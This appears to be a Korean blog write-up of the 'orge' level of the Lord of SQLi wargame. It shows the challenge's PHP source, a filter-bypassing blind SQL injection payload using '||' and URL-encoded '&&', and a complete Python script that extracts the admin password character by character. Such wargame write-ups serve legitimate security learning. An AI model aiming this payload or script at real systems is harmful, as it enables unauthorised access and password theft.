Notice
Recent Posts
Recent Comments
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[LOS] orge 본문

web/LOS

[LOS] orge

Tyojong 2025. 7. 22. 13:18
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

 

문제 목표

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

입력한 패스워드와 결과의 패스워드가 일치해야 문제가 해결된다.

if(preg_match('/or|and/i'$_GET[pw])) exit("HeHe");

or 과 and 문자열이 필터링 된다.

 

문제 해결

orc 문제와 똑같다. and와 or 대신 &&와 ||를 사용하면 된다.

 

[LOS] orc

query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello admin"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mys

tyojongblog.site

 

하지만 && 사용시 주의할 점이 있다. &는 url 쿼리스트링에서 인자를 구분할 때 사용하는 기호이기 때문에 sqli 에서 and의 의미로 사용하려면 url encoding된 %26을 해주어 요청을 보내야 한다.

?pw=%27||id=%27admin%27%26%26length(pw)>1--+ 를 입력하면

Hello admin이 출력되는 것을 알 수 있다.

 

orc문제와 동일하기 때문에 마찬가지로 python코드를 작성해보면

import requests

prob_id = "orge_bad2f25db233a7542be75844e314e9f3.php"

cookies = {"PHPSESSID": "세션 값"}

pw_len = 1

while True:

    payloads = f"?pw=%27||id=%27admin%27%26%26length(pw)={pw_len}--+"
    url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"

    response = requests.get(url, cookies=cookies)
    if "Hello admin" in response.text:
        print(f"password length : {pw_len}")
        break
    else:
        print(f"password length : {pw_len}", end='\r')
        pw_len = pw_len + 1


pw = ""


for i in range(1, pw_len+1):
    for pw_ascii in range(33, 127):
        payloads = f"?pw=%27||id=%27admin%27%26%26ascii(substring(pw,{i}))={pw_ascii}--+"
        url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"

        response = requests.get(url, cookies=cookies)
        if "Hello admin" in response.text:
            pw = pw + chr(pw_ascii)
            break
        else:
            print(f"password : {pw}{chr(pw_ascii)}", end='\r')

print(f"\rpassword : {pw}")

패스워드를 획득할 수 있다.

'web > LOS' 카테고리의 다른 글

[LOS] vampire  (0) 2025.07.25
[LOS] troll  (0) 2025.07.25
[LOS] darkelf  (0) 2025.07.22
[LOS] wolfman  (0) 2025.07.21
[LOS] orc  (0) 2025.07.20